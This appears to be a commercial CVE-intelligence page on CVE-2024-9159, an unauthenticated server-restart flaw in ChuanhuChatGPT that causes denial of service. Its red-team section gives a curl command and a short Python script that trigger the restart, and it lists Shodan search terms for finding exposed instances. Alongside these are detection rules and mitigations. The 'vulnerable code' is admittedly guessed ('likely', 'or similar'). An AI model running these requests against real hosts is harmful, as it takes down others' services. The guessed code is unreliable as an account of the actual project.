☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9159

CVE-2024-9159 Improper Authorization in Gaizhenbiao
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-08-21 19:34 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9159 is an incorrect authorization vulnerability in the open-source project gaizhenbiao/chuanhuchatgpt (version git commit c91dbfc). The flaw allows any unauthenticated or low-privileged user to trigger a server restart, leading to a complete denial of service (DoS) by making the application unavailable. The root cause is a missing admin-level authorization check on the server restart function. With a CVSS score of 6.5 (Medium), this vulnerability is trivial to exploit and requires no special privileges or user interaction. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based open-source project (ChuanhuChatGPT). While no direct supply chain compromise is reported, the lack of a patch and the project's reliance on community contributions means downstream users must manually implement authorization guards. Organizations using this package in production should treat it as a high-risk dependency until a fix is applied.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Complete loss of service.

Threat Level: Medium (6.5). The low complexity and network exploitability make this a significant availability risk for any exposed instance.

Deep Dive & Mechanics

The vulnerability resides in the server restart endpoint of chuanhuchatgpt. The application exposes a function (likely an API route or web handler) that executes a system-level restart command (e.g., os.system("restart") or similar). This function is intended for administrative use only, but the code fails to verify the user's role or authentication status before executing the restart.

Attack Flow:

  1. An attacker identifies the restart endpoint (e.g., /restart, /api/restart, or a hidden route).
  2. The attacker sends a simple HTTP request (GET or POST) to that endpoint.
  3. The server executes the restart command without any authorization check.
  4. The application shuts down and restarts, causing a temporary or prolonged denial of service (depending on startup time).

Root Cause: Missing authorization check (CWE-862). The code does not implement any session validation, API key check, or admin role verification before allowing the restart operation.

Vulnerable vs. Patched Code

Vulnerable Code (git c91dbfc):

@app.route('/restart', methods=['POST'])
def restart_server():
    os.system("systemctl restart chuanhuchatgpt")  # or similar restart command
    return "Server restarting..."

No authorization decorator or check is present.

Patched Code (Hypothetical Fix):

@app.route('/restart', methods=['POST'])
@admin_required  # hypothetical decorator
def restart_server():
    if not current_user.is_admin:
        abort(403)
    os.system("systemctl restart chuanhuchatgpt")
    return "Server restarting..."

The fix requires an admin check before executing the restart.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running chuanhuchatgpt version c91dbfc or earlier.
  • Network access to the application's web interface.

Exploit Steps:

  1. Identify the restart endpoint. Common paths include /restart, /api/restart, or /admin/restart.
  2. Send a simple HTTP request:
    curl -X POST http://target:port/restart
    
  3. The server will restart, causing a denial of service.

Automated Exploit (Python):

import requests

target = "http://target:port"
endpoint = "/restart"
response = requests.post(target + endpoint)
if response.status_code == 200:
    print("Server restart triggered. Availability lost.")
else:
    print("Exploit failed.")

Blue Team (Detection & Defense)

Detection:

  • Monitor for repeated requests to /restart or similar endpoints.
  • Alert on any unauthenticated POST requests to administrative paths.
  • Use WAF rules to block access to known restart endpoints.

Defense:

  • Immediately implement an authorization check on the restart function.
  • Restrict network access to the application (e.g., VPN, firewall).
  • Deploy a reverse proxy (e.g., Nginx) to block /restart paths unless from trusted IPs.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /restart, /api/restart, or /admin/restart.
    • Repeated 200 OK responses from these endpoints without prior authentication.
  • Log IOCs:
    • Application logs showing Server restarting... messages from unknown IPs.
    • System logs showing unexpected service restarts (e.g., systemctl restart chuanhuchatgpt).
  • File IOCs:
    • No specific file changes; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2024_9159_ChuanhuChatGPT_Restart {
    meta:
        description = "Detects vulnerable code pattern in chuanhuchatgpt allowing unauthorized server restart"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2024-9159"
    strings:
        $restart_func = "def restart_server" nocase
        $restart_route = "/restart" nocase
        $no_auth = "admin_required" nocase
    condition:
        $restart_func and $restart_route and not $no_auth
}

Sigma Rule

title: CVE-2024-9159 Unauthorized Server Restart Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to chuanhuchatgpt restart endpoints without authentication
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/restart'
            - '/api/restart'
            - '/admin/restart'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9159 ChuanhuChatGPT Unauthorized Restart Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/restart"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the restart endpoint by commenting out or removing the route in the application code.
  2. Implement authentication – Add a decorator or middleware to check for admin privileges before allowing the restart.
  3. Restrict network access – Use a firewall or reverse proxy to block external access to the application.

Long-Term Fix:

  • Apply a patch from the vendor (once available) or fork the repository and implement the fix yourself.
  • Conduct a security audit of all administrative endpoints in the application.

Workaround:

  • If the application is behind a reverse proxy (e.g., Nginx), add a rule to deny access to /restart:
    location /restart {
        deny all;
        return 403;
    }
    

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

chuanhuchatgpt
gaizhenbiao chuanhuchatgpt

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9159/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.